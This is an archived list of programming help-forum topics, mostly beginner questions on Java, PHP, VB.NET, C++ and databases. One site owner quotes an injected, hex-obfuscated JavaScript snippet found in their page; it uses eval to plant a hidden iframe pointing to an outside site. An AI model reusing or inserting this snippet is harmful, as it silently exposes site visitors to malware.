199,114 Archived Topics
Remove Filter ![]() | |
Process p = Runtime.getRuntime().exec("C:\\tc\\bin\\" + prog_name , null); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getInputStream())); System.out.println("Here is the standard op :\n"); s1=stdError.readLine(); i have this code can anyone tell me how to run c program using java thanks ! | |
How to create report in core java | |
Well that i looking for is, how to create a file to store applicaiton settings, i prefer ini files... well i found smthing, it work ok, but i cant understand how it work. What his code do? well this code store informations in `*.ini` file, example [SECTION] Option1 = Nab … | |
Hi there, Is use Now()-1 in VBA to achieve the date of yesterday in a query. What is the syntax for it in basic. Thx | |
Hey everyone, Just curious why my little program doesn't go through the if-statement I specified in it. [code] public static void main (String args[]){ Scanner sc = new Scanner(System.in); System.out.println("Enter a value for girls:"); int GIRLS = sc.nextInt(); System.out.println("Enter a value for boys:"); int BOYS = sc.nextInt(); if (BOYS == … | |
I've tested the following code in a console application, and it compiles just fine. However, when I copy it to a header to include in a larger project, I get 77 link errors, all related to boost. If I comment out the line in [COLOR="red"]red[/COLOR], everything compiles just fine without … | |
Hello, I wrote some code to make a table using HTML with <th> tags for displaying header in the first row followed by contents of mysql database. Due to while loop the header is displayed everytime the mysql_fetch_assoc fetches stuff from the database. However I want the header to be … | |
Hi, I am now stuck on problem is that in our application used thread and that start in jsp page. so here problem is once thread started and after completion of run method it goes to dead. we can not restart dead thread. so whenever goes that jsp page trying … | |
i have a shopping cart and everything works but the update button, can you see any errors in my code? function updateCart() { $cartId = $_POST['hidCartId']; $productId = $_POST['hidProductId']; $itemQty = $_POST['txtQty']; $numItem = count($itemQty); $numDeleted = 0; $notice = ''; for ($i = 0; $i < $numItem; $i++) { … | |
hey i got 2 tables named tbplayer and tbpair in database named dbgame.mdb tbplayer has 2 field player_id and player_name.. tbpair has three field pair_id(autonumber), player_1 and player_2 i have create combobox to get player id in tbpair from tbpair.. so i don get code.. my sample code is [CODE]Imports … | |
i just store session in my register page for use it in different files when someone get registration but i dont know y in other pages when i try to call my session,i get error that the variable are undefined. my code at register.php <?php $con = mysql_connect("localhost","root",""); if (!$con) … | |
The column names which are being taken from the database are all being added as ONE single option in the drop down menu. Where as, I want them to be separate options in the drop down menu. I don't know where am I going wrong. Please help! The code is … | |
hi all I want to ask what wrong with my code. It gives me error : MySqlException unhandled Incorrect datetime value: '08/03/2011 00:00:00' for column 'Date' at row 1 the code is below: private void btnsave_Click(object sender, EventArgs e) { Thread.CurrentThread.CurrentCulture = new CultureInfo("", false); DateTime datedt = Convert.ToDateTime(tbdate.Text); Decimal … | |
I'm using VS 2010 and I always get multiple error messages: '<<': no operator found which takes a left-hand operand of type 'std::string' (or there is no acceptable conversion). I get that for lines 36 and 52. Then I get "Intellisense: no operator "<<" matches these operands for lines 36 … | |
Hi I making a real advanced and powerful web-browser. It's Almost complete, but when i run it i type in the URL i want to go to which activates the browser tool, but the page stays white. I know its half working due to when i click enter it displays … ![]() | |
how todesign automatic grading system online using java i want to create one web application which creates online grading system for the students. which displays their grades,marks and ranking ... | |
Hi, I want to delete erroneous transactions and at the same time update my account table to be in line with the transaction table. account (account_number, name_with_initials, accoount_type,account_balance, account_interest) transaction (tran_id,account_number,transaction_type,transaction_amount,transaction_date) First i create a page to retrieve data from the tables and then need to delete the erroneous transaction. … ![]() | |
After running the script for quite a few days, I find a few extra lines of code added at the end of the file, <script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6c6f63756d7265736f75726365732e636f6d2f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script> And error is shown when i try to visit the home page. The site address is : [url]www.pipilika.com[/url] Any solution. ![]() | |
Hi, I am using mail function of php to send email. I have a html page in which there is a form after submission of the form it redirected to mail.php and send email then i want to redirect back to html form with some message say "Mail sent successfully". … ![]() | |
Sorry for the confusing title. Basically I have a line which I read from a file that gets stored as an array stack of characters that reads as follows: Nn<-<-<-<-No <-w iz<-sthe<-<-<- the time. Where the top of the stack is the '.', and the bottom is the 'N' respectively. … | |
Hi, I have written a small program to calculate Fourier coefficients of square wave. [CODE] #include<iostream.h> #include<stdlib.h> int main() { int *A,*B,a,n,i,; float pi=3.14; cout<<"Enter value of amplitude"; cin>>a; cout<<"Enter which harmonic you want to display"; cin>>n; A=new int[n+1]; B=new int[n+1]; A[0]=0; for(i=0;i<=n;i++) { B[i]=0; } for(i=2;i<=n;i=i+2) { A[i]=0; } … | |
hi all, i have developed a web service(https based) client which is running on my 4 servers.i am facing a issue on a server like this. javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target while client on all other 3 server is … | |
Hi, I am saving my excel file in my local directory. $objWriter->save("C:/test.xls"); How can i delete(only test.xls) this same excel file from my local directory using php. Please try to solve my problem. Thanks in advance. | |
i've been searching google and all i see is with button snippets ...can someone help me on how to multiply two textbox and displaying it to third texbox without using button ?.. | |
use of trigger in asp.net, show me with coding.......in oracle 10g | |
hello all suppose I have fill a datagridview (named it mydgv) ,Can I populate a dataset with the data from the content of mydgv ? if yes how thank you denny | |
hi all, I am developing a blog where in the administrator controlled panel I can view users comments in a table format. the problem is now i want to view a link to edit page when i bring the mouse pointer to on a comment then i wish to click … | |
good day everyone i`m beginner in vb.net .. i want to learn this kind of program.. and this are my problems: 1. i dont know how to connect my vb.net program to sql server?? can you help me. 2. how can i call my fingerprint scanner to my vb.net program. … | |
Hey everyone, PHP and MYSQL newbie here.....can really use your help right now. I implemented a Submodal into my script, and finally got it to submit "User Notes" into the database. Unfortunately with each new submission, the text that is submitted overwrites the previous submission. I was told to use … | |
hi friends.. i m working with vb.net how can i get iteams in combo box from table of msaccess.. hoping for help thanx | |
hi all, I am new to php and was trying to send an email . i got the code from w3school site. [url]http://www.w3schools...hp/php_mail.asp[/url] but when I run the code i got this error. Warning: mail() [function.mail]: Failed to connect to mailserver at "localhost" port 25, verify your "SMTP" and "smtp_port" … | |
I would like to do the simple card game which can many people play at the same time, but not only one game, there can ne n games running. Recently I was learning how to do server-client coding, using TcpListener and TcpClient network services. But the main difference between the … | |
First, I apologize for posting this since it seems to have been addressed for every situation except mine (or so I can find), and I admit I am a complete novice. [B]Intro:[/B] I have a batch file which gets placed in a directory with target files, loops through the files … | |
Hello. I have no idea how, so i'll ask you. I need /s/index.php?i=123 to be /s/123 any direction or tips would be appreciated! cheers, Sorcher | |
I'm developing an ASP.net website in which I have to allow users to log into someone else's PHP website. On my ASP.net homepage and interior pages I have two text boxes - one for Username and another for Password, and a button for submitting the data. What's the code for … | |
Hi, I am trying to make a one octave piano. heres my code: [CODE]#include<windows.h> #include<mmsystem.h> #include<stdlib.h> /* Declare Windows procedure */ LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM); /* Make the class name into a global variable */ char szClassName[ ] = "WindowsApp"; int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, … | |
Hello, I get following error while importing h5py. Can some one please help me in how does this work. import h5py File "/usr/lib/python2.6/site-packages/h5py-1.3.1-py2.6-linux-x86_64.egg/h5py/__init__.py", line 24, in <module> import h5 File "h5.pyx", line 386, in init h5py.h5 (h5py/h5.c:5557) File "h5.pyx", line 359, in h5py.h5.init_hdf5 (h5py/h5.c:3946) File "h5r.pxd", line 24, in init … | |
Guys, I need your help on this case This is my error: [Error 194 The base class includes the field 'PlanImg', but its type (System.Web.UI.HtmlControls.HtmlImage) is not compatible with the type of control (System.Web.UI.HtmlControls.HtmlGenericControl)] [B].aspx[/B] [<li><p onclick="SetSelectedTab(1,'../XXXXXX/XXXXXX.aspx')"><span runat="server" ID="PlanImg" datasrc="#DTSRC" datafld="link1"></span></p></li>] [B].aspx.cs[/B] [PlanImg.Visible = true;] This error is taking me … | |
Hi, I am trying to create a program that the user enters the number of enrollments for 5 different campuses during two semesters. I just got started and here is what I have so far but when I run the program it is stuck in an infinite loop and will … | |
This simple code is showing the following error. [CODE]import java.io.IOException; import java.net.*; public class Server { public static void main(String[] args) throws IOException { DatagramSocket ds = new DatagramSocket(999, InetAddress.getByName("192.168.1.102")); ds.send(new DatagramPacket(new byte[10], 10)); } }[/CODE] Error: [CODE]Exception in thread "main" java.net.BindException: Cannot assign requested address: Cannot bind at java.net.PlainDatagramSocketImpl.bind0(Native … | |
Hi, I have a combobox called 'cptype' with 2 items and a default item 'select'. I also have a button called 'populate'. How do I get the program to randomly select one of the 2 items. I also have a button called 'reset'. How do I get the combobox to … | |
hi, i am writing a program for my dad. I want it to keep the mouse in x=500 y=500 while waiting for input. So its asking for the password and if you try to move the mouse, it'll put the mouse back in x=500 and y=500 and have keep looping … | |
It is catching my exception error when I try to do a select student_id student_name from Student and put it in my dropdownlist. I already created the databases called college and tables Student, Course, and StudentCourse and put in fake data. I store my Connection String in the web.config file. … | |
Is there Linux functions equivalent to Windows functions [CODE] mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); SetCursorPos(x,y); [/CODE] Specifically Ubuntu, GNOME. I tried to search on google, but did not find anything useful. | |
I have two lists: list1 and list2 listing a set of files. For each file in list1 if a corresponding file exists in list2, I want the script to print the columns of common files. EX: list1............data1 1aw7_AB.fit => 1 2 3 1bjw_AB.fit => 9 4 7 1biq_AB.fit => 8 … | |
Hi, Program works fine,but memory validator reports UNINITIALIZED READ on CProfiles profile; Could you please help me with this? Here is my code: inside profiles.cpp[CODE] #include "profiles.h" CProfiles profile; // Here it reports the problem KeyProfile* keyProfile=&profile; //------------------------------------------------------------- int CProfiles::Init() { // other code [/CODE] inside profiles.h[CODE] class CProfiles: public … | |
Please how do I apply search form to my website to search out files from my site if searched, Please how do I type the form, can someone give me the sample out here, How do I relate the search form to the files that I have in my site … | |
Dear Friends, Am trying to builing a social networking site that user can post his update on profile text bat. Once we click on the share button the text field value will pass to the function of xmlHTTP request, but here is not passing a value. Please help me. I … | |
Hi all , pls suggest me some good tutorials to learn complete j2ee .. Thanks in advance | |
i'm a total beginner and don't know how to do this: MYBANK ATM MENU FORMAT: You will be submitting the C++ code as a CPP file. The source code file should use self documenting code and additional comments (as required) to improve code readability. The source code file must contain … |
The End.